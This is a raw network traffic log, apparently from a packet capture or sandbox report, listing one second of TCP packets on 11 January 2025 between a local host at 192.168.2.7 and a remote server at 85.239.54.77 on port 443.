Jan 11, 2025 09:26:44.344377995 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.357055902 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.419872999 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.419892073 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.419991970 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.420018911 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.420077085 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.420238972 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.420255899 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.420312881 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.420319080 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.420356989 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.420692921 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.420707941 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.420753956 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.420759916 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.420799017 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.421113968 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.421129942 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.421166897 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.421175003 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.421217918 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.421636105 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.421664953 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.421673059 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.421683073 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.421694040 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.421730042 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.422060966 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.422077894 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.422118902 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.422125101 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.422144890 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.422172070 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.422369957 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.422389030 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.422415018 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.422422886 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.422446966 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.422465086 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.431200981 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.431220055 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.431324005 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.431344986 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.431384087 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.452328920 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.506938934 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.506977081 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.507020950 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.507047892 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.507065058 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.507102013 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.507493019 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.507519960 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.507550955 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.507558107 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.507584095 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.507603884 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.507901907 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.507925987 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.507977009 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.507985115 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.507998943 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.508022070 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.508328915 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.508367062 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.508394003 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.508399010 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.508419991 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.508445024 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.508924007 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.508958101 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.509026051 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.509032965 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.509076118 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.509242058 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.509265900 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.509291887 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.509296894 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.509349108 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.509349108 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.509815931 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.509839058 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.509865046 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.509875059 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.509907007 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.509926081 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.518014908 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.518042088 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.518075943 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.518109083 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.518126011 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.518146992 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.547811985 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.593748093 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.593790054 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.593832016 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.593843937 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.593869925 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.593882084 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.594305038 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.594326973 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.594446898 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.594453096 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.594506025 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.594803095 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.594824076 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.594861984 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.594871044 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.594897985 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.594918966 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.595174074 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.595206976 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.595233917 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.595240116 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.595264912 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.595280886 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.595894098 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.595913887 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.595954895 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.595961094 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.595989943 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.596010923 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.596393108 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.596414089 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.596457958 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.596463919 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.596486092 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.596504927 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.597280979 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.597315073 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.597357988 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.597364902 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.597388029 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.597405910 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.604836941 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.604862928 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.604926109 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.604933977 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.604958057 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.604968071 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.638925076 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.681566000 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.681588888 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.681724072 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.681730986 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.681776047 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.682040930 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.682056904 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.682105064 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.682107925 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.682151079 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.682698011 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.682713985 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.682753086 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.682755947 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.682785034 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.682799101 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.683402061 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.683418989 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.683461905 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.683465004 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.683502913 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.684087992 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.684104919 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.684146881 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.684149981 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.684190035 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.684576988 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.684593916 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.684637070 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.684639931 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.684679031 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.685364008 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.685378075 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.685426950 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.685430050 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.685473919 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.692754030 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.692769051 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.692866087 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.692868948 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.692909002 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.722204924 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.767538071 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.767564058 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.767682076 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.767692089 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.767735004 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.768003941 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.768022060 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.768053055 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.768057108 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.768081903 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.768102884 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.768584967 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.768608093 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.768673897 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.768676996 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.768712997 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.769171953 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.769198895 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.769222021 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.769226074 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.769256115 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.769279957 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.769715071 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.769731045 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.769766092 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.769769907 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.769798040 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.769819975 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.770273924 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.770289898 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.770322084 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.770325899 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.770353079 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.770378113 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.770895004 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.770910025 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.770960093 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.770963907 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.771003008 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.780250072 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.780277014 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.780311108 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.780323029 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.780354023 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.816652060 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.854458094 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.854496956 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.854582071 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.854597092 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.854628086 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.854652882 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.854857922 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.854880095 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.854918003 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.854922056 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.854967117 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.854973078 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.855408907 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.855427027 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.855480909 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.855484009 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.855511904 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.855535030 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.856148958 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.856167078 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.856228113 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.856231928 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.856259108 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.856276035 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.856379032 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.856405020 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.856447935 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.856451988 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.856465101 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.856484890 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.856863022 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.856883049 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.856920958 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.856924057 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.856961966 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.857352018 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.857372046 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.857422113 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.857425928 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.857465029 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.867042065 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.867062092 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.867120981 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.867130041 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.867146015 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.867156982 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.901845932 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.941158056 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.941179037 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.941308022 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.941329002 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.941373110 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.941732883 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.941747904 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.941806078 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.941808939 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.941850901 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.942162991 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.942178965 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.942240000 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.942244053 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.942280054 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.942672014 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.942689896 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.942744970 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.942748070 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.942780972 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.943135023 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.943150043 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.943203926 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.943207979 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.943252087 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.943895102 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.943911076 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.943973064 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.943977118 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.944044113 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.944444895 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.944461107 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.944511890 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.944515944 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.944555998 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.986596107 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.005414009 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.005435944 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.005517006 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.005528927 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.005568027 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.028076887 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.028095961 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.028291941 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.028300047 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.028341055 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.028611898 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.028628111 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.028687954 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.028692007 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.028732061 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.029198885 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.029211998 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.029274940 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.029278040 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.029309034 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.029690981 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.029706955 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.029764891 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.029767990 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.029824018 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.030217886 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.030232906 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.030263901 CET	49941	443	192.168.2.7	85.239.54.77
